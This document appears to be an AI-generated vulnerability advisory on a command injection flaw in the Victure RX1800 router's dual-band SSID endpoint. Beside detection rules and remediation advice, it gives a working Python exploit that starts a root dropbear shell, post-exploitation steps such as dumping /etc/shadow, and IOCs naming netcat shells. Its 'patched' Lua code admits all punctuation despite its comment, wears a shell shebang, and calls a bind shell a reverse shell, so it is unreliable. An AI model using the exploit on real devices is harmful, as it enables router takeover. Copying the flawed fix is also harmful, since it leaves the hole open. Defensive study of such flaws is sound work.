CVE-2024-53939

Executive Summary

CVE-2024-53939 is a critical command injection vulnerability discovered in the Victure RX1800 WiFi 6 Router. The flaw resides in the /cgi-bin/luci/admin/opsw/Dual_freq_un_apple endpoint, where the 2.4 GHz and 5 GHz name parameters are not properly sanitized. An unauthenticated attacker can inject arbitrary operating system commands, which are executed with root-level permissions. This allows for full device compromise, including data exfiltration, lateral movement within the network, and potential use of the device as a bot in a DDoS network. No official patch has been released by the vendor at the time of this analysis.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full access to device data and network traffic.
• Integrity Impact: High (I:H) – Ability to modify device configuration and firmware.
• Availability Impact: High (A:H) – Can render the device inoperable or disrupt network services.

Threat Level: Critical. The combination of network accessibility, low complexity, and no required privileges makes this vulnerability highly attractive for automated exploitation, including botnet recruitment.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection flaw. The endpoint /cgi-bin/luci/admin/opsw/Dual_freq_un_apple is used to manage dual-band WiFi settings. The 2.4 GHz and 5 GHz name parameters (likely ssid_24g and ssid_5g) are passed to a system shell command (e.g., iwconfig or a custom script) without proper sanitization.

Root Cause: The application fails to escape or validate user-supplied input before concatenating it into a command string. For example, a backend script might execute something like:

iwconfig wlan0 essid "$SSID_24G"

If an attacker provides "; dropbear -p 2222 & # as the SSID, the resulting command becomes:

iwconfig wlan0 essid ""; dropbear -p 2222 & #"

This executes the injected command (dropbear -p 2222 &) with root privileges.

Attack Flow:

1. Attacker identifies a Victure RX1800 router on the network.
2. Sends a crafted HTTP POST request to /cgi-bin/luci/admin/opsw/Dual_freq_un_apple with malicious payload in the SSID parameter.
3. The router executes the injected command as root.
4. Attacker gains a reverse shell, installs malware, or exfiltrates data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

#!/bin/sh
# /usr/lib/lua/luci/controller/admin/opsw.lua (or similar)
local ssid_24g = luci.http.formvalue("ssid_24g")
local cmd = "iwconfig wlan0 essid " .. ssid_24g
os.execute(cmd)

Patched Code (Conceptual):

#!/bin/sh
local ssid_24g = luci.http.formvalue("ssid_24g")
-- Sanitize input: allow only alphanumeric, spaces, hyphens, underscores
if not ssid_24g:match("^[%w%p ]+$") then
    luci.http.status(400, "Invalid SSID")
    return
end
local cmd = "iwconfig wlan0 essid '" .. ssid_24g:gsub("'", "'\\''") .. "'"
os.execute(cmd)

The patched version uses input validation and proper quoting to prevent injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Victure RX1800 router (firmware EN_V1.0.0_r12_110933)
• Attacker machine (Kali Linux)
• Network connectivity between attacker and router

Exploit Script (Python):

import requests

target_ip = "192.168.1.1"
payload = "'; dropbear -p 2222 & #"

url = f"http://{target_ip}/cgi-bin/luci/admin/opsw/Dual_freq_un_apple"
data = {
    "ssid_24g": payload,
    "ssid_5g": "legit_ssid"
}

try:
    r = requests.post(url, data=data, timeout=5)
    print(f"Payload sent. Check for reverse shell on port 2222.")
except Exception as e:
    print(f"Error: {e}")

Post-Exploitation:

• Connect to the reverse shell: nc -nv <router_ip> 2222
• Escalate (already root), dump /etc/shadow, install persistence.

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /cgi-bin/luci/admin/opsw/Dual_freq_un_apple with unusual SSID values (containing shell metacharacters like ;, |, `).
• Network traffic to/from the router on non-standard ports (e.g., 2222, 4444).
• Unexpected outbound connections from the router.

Honeypot:

• Deploy a low-interaction honeypot mimicking the Victure RX1800 login page and the vulnerable endpoint.
• Log all POST data for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/luci/admin/opsw/Dual_freq_un_apple with payloads containing ;, |, $(), `.
• Outbound connections from the router to unknown IPs on ports 22, 2222, 4444, 8080.
• DNS queries for known C2 domains (e.g., malware-c2.example.com).

File System IOCs:

• Unexpected files in /tmp/ (e.g., dropbear, mirai).
• Modified /etc/init.d/ scripts for persistence.
• New cron jobs in /etc/crontab.

Process IOCs:

• Running processes like dropbear, bash -i, nc -e /bin/sh.
• High CPU usage from mining malware.

Detection Engineering

YARA Rule

rule CVE_2024_53939_Exploit_Payload {
    meta:
        description = "Detects command injection payloads targeting CVE-2024-53939"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-53939"
    strings:
        $cmd_inject = /(;|\||`|\$\().*(dropbear|bash|nc|wget|curl|chmod|sh)/ nocase
        $ssid_param = "ssid_24g" nocase
        $ssid_param2 = "ssid_5g" nocase
    condition:
        any of ($ssid_param*) and $cmd_inject
}

Sigma Rule

title: CVE-2024-53939 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to the vulnerable endpoint with command injection payloads
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/luci/admin/opsw/Dual_freq_un_apple'
        cs-uri-query|contains: 
            - 'ssid_24g='
            - 'ssid_5g='
    keywords:
        - ';'
        - '|'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate SSID names containing special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-53939 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/luci/admin/opsw/Dual_freq_un_apple"; http_uri; content:"ssid_24g"; http_client_body; pcre:"/(;|\||`|\$\().*(dropbear|bash|nc|wget|curl|chmod|sh)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the Victure RX1800 on a separate VLAN with no internet access.
2. Disable remote management: If not needed, block port 80/443 from WAN.
3. Monitor logs: Enable syslog and send to a SIEM for analysis.

Long-Term Fix:

• Vendor patch: Await an official firmware update from Victure. Contact their support to expedite.
• Workaround: If patching is not possible, replace the device with a secure alternative.
• Input validation: Implement a reverse proxy (e.g., Nginx) in front of the router to filter malicious payloads.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.